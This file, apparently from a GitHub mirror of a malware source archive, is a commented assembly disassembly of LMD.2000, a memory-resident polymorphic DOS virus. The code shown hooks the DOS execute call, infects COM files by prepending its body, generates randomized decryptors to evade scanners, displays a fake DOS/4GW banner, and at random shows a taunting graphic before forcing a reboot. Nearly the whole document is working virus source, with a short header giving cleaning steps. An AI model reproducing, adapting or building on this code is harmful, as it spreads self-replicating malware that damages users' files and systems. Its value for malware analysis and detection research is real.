mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
588 lines
15 KiB
NASM
588 lines
15 KiB
NASM
; LMD.2000
|
|
|
|
; Resident Polymorphic COM Infector
|
|
; Virus Reroutes Int 21h Handler through Int 84h and uses Int 84h for
|
|
; virus function calls. Int 21h Function 4Bh (Set Execution State) is hooked
|
|
; for infection routine. Virus prepends its body to files and writes 2000
|
|
; original bytes to end of file. Polymorphic routine makes 128 random
|
|
; one byte instructions and then fills in crypt information.
|
|
|
|
; Cleaning Instructions - Overwrite First 2000 Bytes with Last 2000 Bytes
|
|
; Detection - No scanners detect this beastie yet.
|
|
|
|
; Research and Disassembly by PakiLad 05/03/97
|
|
|
|
p386n
|
|
|
|
|
|
seg000 segment byte public 'CODE' use16
|
|
assume cs:seg000
|
|
org 100h
|
|
assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
|
|
|
|
start:
|
|
db 128 dup (90h) ; Buffer For Cryptor
|
|
CryptedCode:
|
|
jmp VirusStart
|
|
OneByteTable db 26h ; SEGES
|
|
db 27h ; DAA
|
|
db 2Eh ; SEGCS
|
|
db 2Fh ; DAS
|
|
db 0FBh ; STI
|
|
db 37h ; AAA
|
|
db 3Eh ; SEGDS
|
|
db 3Fh ; AAS
|
|
db 40h ; INC AX
|
|
db 42h ; INC DX
|
|
db 46h ; INC SI
|
|
db 48h ; DEC AX
|
|
db 4Ah ; DEC DX
|
|
db 4Eh ; DEC SI
|
|
db 90h ; NOP
|
|
db 92h ; XCHG AX, DX
|
|
InfMarker db 'LMD'
|
|
|
|
GetRand15 proc near
|
|
push cx
|
|
in ax, 40h ; Get Random Number
|
|
xchg ax, cx
|
|
|
|
MakeRandLoop:
|
|
xor ax, cx
|
|
loop MakeRandLoop
|
|
xchg ax, cx
|
|
in ax, 40h ; Get Random Number
|
|
inc cx
|
|
xor ax, cx
|
|
and ax, 0Fh ; Number 0 - 15
|
|
pop cx
|
|
retn
|
|
GetRand15 endp
|
|
|
|
GetOneByteIns proc near
|
|
push di
|
|
mov di, offset OneByteTable
|
|
call GetRand15
|
|
add di, ax
|
|
mov al, cs:[di]
|
|
pop di
|
|
retn
|
|
GetOneByteIns endp
|
|
|
|
CopyOverVir proc near
|
|
push bx
|
|
push es
|
|
push ds
|
|
nop
|
|
push cs
|
|
pop es ; ES = CS
|
|
assume es:seg000
|
|
mov di, offset Buffer+10h
|
|
mov si, offset start + 10h
|
|
mov cx, 2000
|
|
rep movsb
|
|
push ds
|
|
pop ax
|
|
add ax, 126
|
|
mov [RestoreSeg + 10h], ax
|
|
mov al, [LastByte + 10h]
|
|
push ax
|
|
push cs
|
|
mov ax, offset StoreLastByte + 10h
|
|
push ax
|
|
mov [LastByte + 10h], 0CBh
|
|
jmp near ptr JMPFarProg
|
|
CopyOverVir endp
|
|
|
|
|
|
StoreLastByte:
|
|
pop ax
|
|
pop ds
|
|
mov [LastByte + 10h], al
|
|
pop es
|
|
assume es:nothing
|
|
pop bx
|
|
retn
|
|
|
|
CheckGeneration proc near
|
|
in al, 40h ; Get Random Number
|
|
cmp al, 240 ; Below 240?
|
|
jb RandBelow240 ; Yes? Then JMP.
|
|
call GenerateCryptor
|
|
call GenerateCryptor
|
|
push dx
|
|
db 8Dh, 16h, 88h, 02h ; (FIXUP) LEA DX, OFFSET FAKE4DOSGW
|
|
mov ah, 9
|
|
int 21h ; Write Fake Message
|
|
pop dx
|
|
|
|
RandBelow240:
|
|
retn
|
|
CheckGeneration endp
|
|
|
|
|
|
SetupInt84 proc near
|
|
push es
|
|
push bx
|
|
push di
|
|
xor ax, ax
|
|
mov di, 211h ; Offset of INT 84h
|
|
push ds
|
|
mov ds, ax ; DS points to IVT
|
|
assume ds:nothing
|
|
cmp word ptr [di], 0 ; Is Virus Installed?
|
|
jnz AlreadyInMem ; Yes? Then JMP.
|
|
mov ax, 3521h
|
|
int 21h ; Get Int 21h Vectors
|
|
dec di
|
|
mov ax, es
|
|
mov [di], bx ; Set New Int 84h Offset
|
|
inc di
|
|
inc di
|
|
mov [di], ax ; Set New Int 84h Segment
|
|
cmp ax, ax
|
|
|
|
AlreadyInMem:
|
|
pop ds
|
|
assume ds:seg000
|
|
pop di
|
|
pop bx
|
|
pop es
|
|
retn
|
|
SetupInt84 endp
|
|
|
|
InstallVirus proc near
|
|
push si
|
|
push di
|
|
push bx
|
|
mov ax, 5803h
|
|
xor bx, bx
|
|
int 21h ; Get UMB Link Status
|
|
push es
|
|
push dx
|
|
mov ax, 3521h
|
|
int 21h ; Get Int 21h Vectors
|
|
mov ax, es
|
|
mov cs:Int21Ofs, bx
|
|
mov cs:Int21Seg, ax
|
|
push ds
|
|
push ds
|
|
pop ax
|
|
dec ax
|
|
mov ds, ax ; DS points to MCB
|
|
assume ds:nothing
|
|
sub word ptr ds:3, 272 ; Subtract 4352 Bytes
|
|
sub word ptr ds:12h, 272 ; Subtract 4352 Bytes From Next Seg
|
|
mov es, ds:12h ; ES points to Next Segment
|
|
xor di, di
|
|
xor si, si
|
|
mov cx, 2272
|
|
rep movsb ; Copy Virus Into Memory
|
|
xor ax, ax
|
|
mov ds, ax ; DS points to IVT
|
|
assume ds:nothing
|
|
sub word ptr ds:413h, 5 ; Subtract 5k From System Memory
|
|
mov word ptr es:1, 0 ; Set New PSP Segment
|
|
mov word ptr es:3, 272 ; Allocate 4352 Bytes
|
|
push es
|
|
pop ds ; DS = ES
|
|
assume ds:seg000
|
|
mov ax, 2521h
|
|
mov dx, offset NewInt21 + 10h
|
|
int 21h ; Set New Int 21h Vectors
|
|
pop ds
|
|
pop dx
|
|
pop es
|
|
pop bx
|
|
pop di
|
|
pop si
|
|
retn
|
|
InstallVirus endp
|
|
|
|
FakeDOS4GW db 0Ah
|
|
db 'DOS/4GW Protected Mode Run-time Version 1.95',0Dh,0Ah
|
|
db 'Copyright (c) Rational Systems, Inc. 1990-1993',0Dh,0Ah
|
|
db 0Dh,0Ah,'$'
|
|
JMPFarProg db 0EAh
|
|
RestoreOfs dw 100h
|
|
RestoreSeg dw 0
|
|
|
|
RestoreRoutine:
|
|
rep movsb
|
|
pop di
|
|
pop si
|
|
pop cx
|
|
jmp short $+2
|
|
FileSize dw 0
|
|
|
|
NewInt24:
|
|
mov al, 3
|
|
iret
|
|
db 37h
|
|
|
|
VirusStart:
|
|
call CheckGeneration
|
|
in al, 40h ; Get Random Number
|
|
cmp al, 16 ; Above 16?
|
|
ja NoPayload ; Yes? Then JMP.
|
|
mov ax, 11h
|
|
int 10h ; Set Video Mode 80x13
|
|
mov ax, 0A000h
|
|
mov es, ax ; ES points to Video Memory
|
|
assume es:nothing
|
|
mov di, 3222h
|
|
mov si, offset Graphic
|
|
mov cx, 80
|
|
|
|
DisplayGraphic:
|
|
push cx
|
|
mov cx, 80
|
|
|
|
DisplayLine:
|
|
cmp cx, 69
|
|
jb Below69
|
|
mov al, [si]
|
|
inc si
|
|
mov es:[di], al
|
|
|
|
Below69:
|
|
inc di
|
|
loop DisplayLine
|
|
pop cx
|
|
loop DisplayGraphic
|
|
mov ah, 9
|
|
mov dx, offset LozMustDie
|
|
int 21h ; Write String
|
|
xor ax, ax
|
|
int 16h ; Wait For KeyPress
|
|
jmp near ptr Reboot
|
|
LozMustDie db 9,9,0Ah
|
|
db 9,0Ah
|
|
db 0Ah
|
|
db 0Ah
|
|
db 7,' Lozinsky MuST DiE!$'
|
|
|
|
NoPayload:
|
|
xor ax, ax
|
|
call GenerateCryptor
|
|
call SetupInt84
|
|
jnz RestoreProg
|
|
call InstallVirus
|
|
|
|
RestoreProg:
|
|
mov si, offset start
|
|
mov di, 0FFFEh
|
|
xor dx, dx
|
|
push cx
|
|
push si
|
|
push di
|
|
push cs
|
|
pop es
|
|
assume es:seg000
|
|
mov si, offset RestoreRoutine
|
|
mov di, 0F9h
|
|
mov cx, 7
|
|
rep movsb ; Copy Restore Routine
|
|
mov si, [si]
|
|
mov di, offset start
|
|
add si, di
|
|
mov cx, 2000
|
|
db 0E9h,069h,0FDh ; JMP To Restore Routine
|
|
|
|
NewInt21:
|
|
cmp ax, 4B00h ; Set Execution State?
|
|
jz InfectFile ; Yes? Then JMP.
|
|
JMPFar21 db 0EAh
|
|
Int21Ofs dw 0
|
|
Int21Seg dw 0
|
|
|
|
InfectFile:
|
|
pushf
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push es
|
|
push si
|
|
push di
|
|
push dx
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov dx, offset NewInt24 + 10h
|
|
mov ax, 2524h
|
|
int 84h ; Set New Int 24h
|
|
pop ds
|
|
pop dx
|
|
push dx
|
|
push ds
|
|
mov ax, 4300h
|
|
push ax
|
|
int 84h ; Get File Attributes
|
|
pop ax
|
|
inc ax
|
|
push ax
|
|
push cx
|
|
and cl, 0D8h
|
|
int 84h ; Clear File Attributes
|
|
jb FileProblems ; Problems? Then JMP.
|
|
mov ax, 3D02h
|
|
int 84h ; Open File
|
|
xchg ax, bx
|
|
mov ax, 5700h
|
|
int 84h ; Get File Date/Time
|
|
push cx
|
|
push dx
|
|
push cs
|
|
pop ds ; DS = CS
|
|
mov cx, 128
|
|
mov dx, offset Buffer+10h
|
|
mov ah, 3Fh
|
|
int 84h ; Read In 128 Bytes
|
|
cmp cx, ax ; Read 128 ?
|
|
jnz RestoreTD ; No? Then JMP.
|
|
mov al, [Buffer+10h]
|
|
cmp al, 'M' ; EXE File?
|
|
jz RestoreTD ; Yes? Then JMP.
|
|
cmp al, 'Z' ; EXE File?
|
|
jz RestoreTD ; Yes? Then JMP.
|
|
call CheckForMark
|
|
jz RestoreTD ; Infected Already? Then JMP.
|
|
call DoInfect
|
|
call NotBigEnough
|
|
|
|
RestoreTD:
|
|
pop dx
|
|
pop cx
|
|
mov ax, 5701h
|
|
int 84h ; Restore File Date/Time
|
|
mov ah, 3Eh
|
|
int 84h ; Close File
|
|
|
|
FileProblems:
|
|
pop cx
|
|
pop ax
|
|
int 84h ; Restore File Attributes
|
|
pop ds
|
|
pop dx
|
|
pop di
|
|
pop si
|
|
pop es
|
|
assume es:nothing
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
popf
|
|
jmp short near ptr JMPFar21
|
|
|
|
CheckForMark proc near
|
|
push di
|
|
push si
|
|
mov di, offset InfMarker
|
|
mov cx, 16
|
|
|
|
FindMark:
|
|
mov al, [di]
|
|
push cx
|
|
mov si, offset Buffer+10h
|
|
mov cx, 128
|
|
|
|
CheckForMarker:
|
|
mov ah, [si]
|
|
cmp al, ah
|
|
jz FoundMark
|
|
inc si
|
|
loop CheckForMarker
|
|
cmp ax, cx
|
|
pop cx
|
|
jmp short DoneWithMark
|
|
|
|
FoundMark:
|
|
pop cx
|
|
inc di
|
|
loop FindMark
|
|
cmp ax, ax
|
|
|
|
DoneWithMark:
|
|
pop si
|
|
pop di
|
|
CheckForMark endp
|
|
|
|
NotBigEnough proc near
|
|
retn
|
|
NotBigEnough endp
|
|
|
|
DoInfect proc near
|
|
mov cx, 1872
|
|
mov dx, offset OrgProgram+10h
|
|
mov ah, 3Fh
|
|
int 84h ; Read In 1872 Bytes
|
|
cmp ax, cx ; Read 1872?
|
|
jnz NotBigEnough ; No? Then JMP.
|
|
xor cx, cx
|
|
xor dx, dx
|
|
mov ax, 4202h
|
|
int 84h ; Move Pointer to End of File
|
|
jb NotBigEnough
|
|
cmp dx, 0 ; Over 64k?
|
|
jnz NotBigEnough ; Yes? Then JMP.
|
|
cmp ax, 2048 ; Under 2048 Bytes?
|
|
jb NotBigEnough ; Yes? Then JMP.
|
|
cmp ax, 60000 ; Over 60000 Bytes?
|
|
ja NotBigEnough ; Yes? Then JMP.
|
|
cmp Buffer+30h, 0
|
|
jz NotBigEnough
|
|
mov [FileSize + 10h], ax
|
|
mov ah, 40h
|
|
mov dx, offset Buffer+10h
|
|
mov cx, 2000
|
|
int 84h ; Write Original Bytes To End of File
|
|
jb NotBigEnough
|
|
call CopyOverVir
|
|
xor cx, cx
|
|
xor dx, dx
|
|
mov ax, 4200h
|
|
int 84h ; Move Pointer to Beginning
|
|
mov ah, 40h
|
|
mov dx, offset Buffer+10h
|
|
mov cx, 2000
|
|
int 84h ; Write Virus to File
|
|
retn
|
|
DoInfect endp
|
|
|
|
Graphic db 0, 30h, 0Bh dup(0), 20h, 2 dup(0), 1Ah, 0FBh, 0EBh, 9Fh, 90h, 4 dup(0)
|
|
db 20h, 2 dup(0), 47h, 2 dup(25h), 0FDh, 0AAh, 4 dup(0), 0E0h, 0, 7, 0FAh
|
|
db 12h, 92h, 22h, 54h, 80h, 3 dup(0), 0C0h, 0Ch, 4, 0, 0A8h, 4Ah, 94h
|
|
db 55h, 40h, 3 dup(0), 0C0h, 8, 0Dh, 5Ah, 45h, 2 dup(55h), 0AAh, 0A0h
|
|
db 3 dup(0), 0C0h, 0FBh, 0F2h, 4, 95h, 54h, 0AAh, 5Dh, 0A0h, 3 dup(0)
|
|
db 0DDh, 80h, 28h, 0A2h, 49h, 2 dup(55h), 2 dup(0AAh), 3 dup(0), 0D7h
|
|
db 0Ah, 2, 19h, 25h, 5Dh, 4Ah, 6Dh, 0A4h, 3 dup(0), 0E6h, 0, 0A8h, 84h
|
|
db 95h, 7Ah, 0AAh, 56h, 0D0h, 3 dup(0), 0C0h, 48h, 2, 59h, 52h, 8Bh, 55h
|
|
db 0BAh, 0AAh, 4 dup(0), 2, 90h, 4, 4Ah, 7Dh, 55h, 6Fh, 64h, 4 dup(0)
|
|
db 24h, 25h, 5Ah, 2 dup(0AAh), 0ABh, 0B5h, 0B0h, 4 dup(0), 3 dup(1), 2Ah
|
|
db 0D5h, 0AAh, 5Ah, 0AAh, 4 dup(0), 40h, 8, 99h, 55h, 5Ah, 0DAh, 0DBh
|
|
db 53h, 4 dup(0), 15h, 52h, 44h, 0AAh, 0ABh, 57h, 0AAh, 0A9h, 80h, 4 dup(0)
|
|
db 89h, 22h, 55h, 6Dh, 55h, 5Eh, 0AAh, 0C0h, 2 dup(0), 4, 42h, 24h, 99h
|
|
db 56h, 0B5h, 56h, 0EAh, 0D1h, 5 dup(0), 91h, 25h, 5Bh, 2 dup(0AAh), 0D5h
|
|
db 4Ah, 40h, 4 dup(0), 8, 81h, 2Ah, 0AAh, 95h, 2Eh, 0E9h, 4 dup(0), 1
|
|
db 45h, 24h, 4, 56h, 0DAh, 0E9h, 54h, 80h, 2 dup(0), 8, 80h, 20h, 0, 21h
|
|
db 55h, 56h, 0DDh, 0B6h, 3 dup(0), 2, 8, 0Ah, 2 dup(0), 2Ah, 0BBh, 0AAh
|
|
db 0D4h, 80h, 4 dup(0), 40h, 44h, 1, 9, 55h, 56h, 0AAh, 40h, 2 dup(0)
|
|
db 8, 5, 1, 0, 80h, 25h, 6Dh, 0BBh, 69h, 3 dup(0), 2, 0, 0Ch, 0A0h, 5
|
|
db 6, 92h, 0C9h, 54h, 4 dup(0), 20h, 26h, 4, 0, 0A0h, 4Ah, 0D4h, 20h, 90h
|
|
db 2 dup(0), 4, 1, 19h, 61h, 0, 9, 24h, 6Bh, 55h, 1, 3 dup(0), 40h, 45h
|
|
db 4, 10h, 0C4h, 49h, 0A4h, 94h, 2Fh, 3 dup(0), 14h, 2Ah, 59h, 0, 20h
|
|
db 0E0h, 4Bh, 68h, 0A5h, 2 dup(0), 2 dup(1), 54h, 0A0h, 1, 48h, 2, 0AAh
|
|
db 0B4h, 32h, 3 dup(0), 20h, 0AAh, 5Ah, 90h, 24h, 5, 0B5h, 0A9h, 55h, 3 dup(0)
|
|
db 8Ah, 55h, 58h, 44h, 92h, 95h, 0AAh, 0A4h, 22h, 3 dup(0), 1, 6Ah, 26h
|
|
db 82h, 4Ch, 6Ah, 16h, 0B4h, 0D4h, 2 dup(0), 1, 55h, 0ADh, 9Ah, 51h, 20h
|
|
db 95h, 0EAh, 0AAh, 0B1h, 3 dup(0), 2, 0AAh, 0BDh, 2Ah, 54h, 56h, 2Ah
|
|
db 0A9h, 59h, 3 dup(0), 15h, 55h, 42h, 0A9h, 25h, 52h, 0D5h, 55h, 0EAh
|
|
db 3 dup(0), 49h, 6Dh, 5Dh, 4Ah, 94h, 0ADh, 2Ah, 49h, 34h, 3 dup(0), 25h
|
|
db 56h, 0A4h, 55h, 6Ah, 0D5h, 0A9h, 25h, 0ABh, 3 dup(0), 55h, 75h, 42h
|
|
db 0Bh, 0C5h, 2Ah, 0D4h, 92h, 0A0h, 2 dup(0), 1, 13h, 0ADh, 59h, 40h, 22h
|
|
db 0D5h, 42h, 0AAh, 47h, 3 dup(0), 4Ah, 0F6h, 0E4h, 2Ah, 95h, 5Ah, 94h
|
|
db 95h, 15h, 3 dup(0), 2Bh, 55h, 0BBh, 89h, 55h, 45h, 8Ah, 54h, 0ABh, 3 dup(0)
|
|
db 9, 2Ah, 86h, 0A4h, 25h, 55h, 51h, 55h, 17h, 3 dup(0), 2, 0, 3Bh, 2 dup(49h)
|
|
db 53h, 0A5h, 55h, 6Ah, 3 dup(0), 40h, 0Ah, 0DDh, 0A5h, 4, 0AAh, 55h, 54h
|
|
db 0AAh, 4 dup(0), 41h, 27h, 51h, 69h, 25h, 0CAh, 0A9h, 50h, 3 dup(0)
|
|
db 9, 2Ah, 0DAh, 0EAh, 0A4h, 0ABh, 12h, 40h, 5 dup(0), 4Ah, 5Fh, 54h, 52h
|
|
db 53h, 55h, 28h, 5 dup(0), 25h, 60h, 0AAh, 0A9h, 49h, 0D4h, 80h, 4 dup(0)
|
|
db 4, 0, 26h, 95h, 2Ah, 0AAh, 69h, 48h, 4 dup(0), 1, 41h, 2 dup(0), 0A9h
|
|
db 29h, 2 dup(24h), 4 dup(0), 10h, 15h, 2 dup(65h), 54h, 0A4h, 52h, 82h
|
|
db 4 dup(0), 2, 0AAh, 0A5h, 90h, 2 dup(0AAh), 29h, 15h, 4 dup(0), 10h
|
|
db 5, 5Ah, 6Ah, 0A1h, 25h, 52h, 51h, 0F8h, 3 dup(0), 1, 20h, 45h, 92h
|
|
db 54h, 92h, 0C4h, 0ABh, 8Fh, 3 dup(0), 8, 15h, 25h, 55h, 25h, 54h, 0A1h
|
|
db 25h, 80h, 3 dup(0), 5, 42h, 0A5h, 6Ah, 0A8h, 12h, 94h, 0A9h, 0C0h, 3 dup(0)
|
|
db 5, 55h, 5Ah, 2 dup(0AAh), 0A4h, 4Ah, 0A9h, 0C0h, 3 dup(0), 11h, 55h
|
|
db 0A5h, 2 dup(0AAh), 49h, 0AAh, 0A3h, 0E0h, 3 dup(0), 4, 0AAh, 0A6h, 0B5h
|
|
db 55h, 23h, 0D5h, 55h, 0E0h, 3 dup(0), 2, 2Dh, 0BAh, 0AAh, 0A2h, 4Ah
|
|
db 54h, 0A3h, 0E0h, 3 dup(0), 8, 0A5h, 5Ah, 0A4h, 94h, 25h, 0AAh, 0ABh
|
|
db 0E0h, 3 dup(0), 1, 2Ah, 0A5h, 52h, 41h, 56h, 55h, 57h, 0F0h, 4 dup(0)
|
|
db 25h, 59h, 24h, 14h, 8Ah, 55h, 57h, 0F0h, 4 dup(0), 40h, 22h, 40h, 82h
|
|
db 5Dh, 0AAh, 0AFh, 0F8h, 4 dup(0), 9, 4, 10h, 11h, 6Ah, 55h, 5Fh, 0F8h
|
|
db 6 dup(0), 1, 4Ah, 0ADh, 0D5h, 3Fh, 0F8h, 6 dup(0), 4, 0AEh, 0AAh, 2Ah
|
|
db 0BFh, 0F8h, 6 dup(0), 15h, 2Ah, 0D5h, 0AAh, 7Fh, 0F8h, 5 dup(0), 20h
|
|
db 0A2h, 55h, 2Ah, 54h, 0FFh, 0F8h, 4 dup(0), 3, 0FCh, 49h, 2Ah, 0AAh
|
|
db 53h, 0FFh, 0F8h, 4 dup(0), 3, 0FEh, 92h, 91h, 55h, 0A3h, 0FFh, 0F8h
|
|
db 4 dup(0), 3, 0FFh, 48h, 4Dh, 4Ah, 4Fh, 0FFh, 0F8h, 4 dup(0), 3, 0FFh
|
|
db 0A5h, 25h, 55h, 9Bh, 0DDh, 18h, 4 dup(0), 3, 0FFh, 0D4h, 0AAh, 0A8h
|
|
db 7Bh, 0C9h, 68h, 4 dup(0), 3, 0FFh, 0FAh, 44h, 0A5h, 0FBh, 0C1h, 68h
|
|
db 4 dup(0), 3, 0FFh, 0FAh, 95h, 53h, 0FBh, 55h, 68h, 4 dup(0), 3, 2 dup(0FFh)
|
|
db 52h, 8Fh, 0F8h, 5Dh, 18h, 4 dup(0), 3, 2 dup(0FFh), 0A4h, 5Fh, 2 dup(0FFh)
|
|
db 0F8h, 0, 0Bh dup(0FFh)
|
|
Reboot db 0EAh ; Reboot Computer
|
|
dw 0
|
|
dw 0FFFFh
|
|
|
|
GenerateCryptor proc near
|
|
push di
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov di, offset start
|
|
mov cx, 128
|
|
push di
|
|
|
|
FillWithOneByte:
|
|
call GetOneByteIns
|
|
mov [di], al
|
|
inc di
|
|
loop FillWithOneByte
|
|
pop di
|
|
call GetRand15
|
|
add di, ax
|
|
mov byte ptr [di], 0BBh ; Store MOV BX Instruction
|
|
add di, 3
|
|
call GetRand15
|
|
add di, ax
|
|
mov word ptr [di], 0A8B9h ; Store MOV CX, Instruction
|
|
inc di
|
|
inc di
|
|
mov byte ptr [di], 3 ; Store Decrypt Size
|
|
inc di
|
|
call GetRand15
|
|
add di, ax
|
|
mov word ptr [di], 80BFh ; Store MOV DI
|
|
inc di
|
|
inc di
|
|
mov byte ptr [di], 1 ; Store Offset of Crypted Code
|
|
inc di
|
|
call GetRand15
|
|
add di, ax
|
|
push di
|
|
mov word ptr [di], 312Eh ; XOR [DI],
|
|
inc di
|
|
inc di
|
|
mov byte ptr [di], 1Dh ; BX
|
|
inc di
|
|
call GetRand15
|
|
add di, ax
|
|
mov word ptr [di], 4747h ; INC SI/INC SI
|
|
inc di
|
|
inc di
|
|
mov byte ptr [di], 43h ; INC AX
|
|
inc di
|
|
call GetRand15
|
|
add di, ax
|
|
mov byte ptr [di], 0E2h ; LOOP Instruction
|
|
pop ax
|
|
push di
|
|
sub di, ax
|
|
mov ax, 0FFFEh
|
|
sub ax, di
|
|
pop di
|
|
inc di
|
|
mov [di], al ; Loop Offset
|
|
pop ds
|
|
pop di
|
|
retn
|
|
GenerateCryptor endp
|
|
|
|
Buffer db 0CDh, 20h, 125 dup (0)
|
|
LastByte db 0
|
|
OrgProgram db 1872 dup (0)
|
|
seg000 ends
|
|
|
|
|
|
end start
|